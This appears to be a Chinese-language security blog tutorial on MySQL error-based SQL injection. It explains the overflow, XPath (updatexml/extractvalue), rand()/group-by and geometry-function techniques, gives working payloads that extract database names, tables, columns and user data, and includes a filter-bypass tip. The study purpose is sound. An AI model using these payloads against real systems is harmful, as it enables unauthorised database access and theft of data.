SQL注入学习之MYSQL报错注入
概念:
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用,毕竟用盲注的话既耗时又容易被封。
MYSQL报错注入分类:
BIGINT等数据类型溢出
xpath语法错误
concat+rand()+group_by()导致主键重复
一些特性
下面就针对这几种错误类型看看背后的原理是怎样的。
BIGINT等数据类型溢出
按位取反~
、!
、exp()
来溢出报错。
有版本限制,mysql>5.5.53
时,则不能返回查询结果。
select exp(~(select*from(select user())x));
select (select(!x-~0)from(select(select user())x)a);
报错信息是有长度限制的,在mysql/my_error.c
中可以看到
xpath报错
通过xml函数进行报错,来进行注入。主要涉及2个函数:
1、updatexml()
2、extractvalue()
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。这就是xpath报错注入的原理
updatexml报错注入
updatexml((XML_document, XPath_string, new_value):
第一个参数:xml文档的名称
第二个参数:xpath格式的字符串
第三个参数:替换查找到的符合条件的数据
注意事项
- 必须是在xpath那里传特殊字符,mysql才会报错,而我们又要注出数据,没这么多位置,所以要用到concat函数
- xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用
- xpath只会报错32个字符,所以要用到substr
Payload
- 爆数据库版本
updatexml(1,concat(0x7e,version(),0x7e),1)
- 爆所有数据库
updatexml(1,concat(0x7e,(select substr(group_concat(schema_name),1,32) from information_schema.schemata)),0x7e)
但是报错长度有限制,可以使用limit
来偏移
updatexml(1,concat(0x7e,(select substr(schema_name,1,32) from information_schema.schemata limit 4,1)),0x7e)
- 爆所有表
updatexml(1,concat(0x7e,(select substr(group_concat(table_name),1,32) from information_schema.tables where table_schema=database()),0x7e),1)
- 爆所有列
updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,32) from information_schema.columns where table_schema=database()),0x7e),1)
- 爆数据
updatexml(1,concat(0x7e,(select substr(group_concat(username),1,32) from users),0x7e),1)
Extractvalue报错注入
extractvalue(xml_str , Xpath)
第一个参数意思是传入xml文档,第二个参数xpath意思是传入文档的路径
还是对第二个参数xpath传入特殊字符,让它报错,跟updatexml的payload差不多,只不过一个是3个参数,一个是两个,这里就不详细列出来了
extractvalue(1,concat(0x7e,version(),1))
主键重复
mysql> select count(*) from user group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.1.60-community-log1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
只要是count
,rand()
,group by
三个连用就会造成这种报错,与位置无关。
函数特性报错
在版本号为5.5.47上可以用来注入,而在5.7.17上则不行
- geometrycollection()
and geometrycollection((select * from(select * from(select user())a)b))-- +
- multipoint()
and multipoint((select * from(select * from(select user())a)b))-- +
- polygon()
and polygon((select * from(select * from(select user())a)b))-- +
- multipolygon()
and multipolygon((select * from(select * from(select user())a)b))-- +
- linestring()
and linestring((select * from(select * from(select user())a)b))-- +
- multilinestring()
and multilinestring((select * from(select * from(select user())a)b))-- +
小tips
过滤information_schema
如果程序过滤information_schema,无法获取表名,利用polygon()进行绕过,括号里填上存在的列名(一般都有id这个列),即可爆出表名
本文作者: iceH
本文链接: http://www.secice.cn/p/7a3f5d50
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!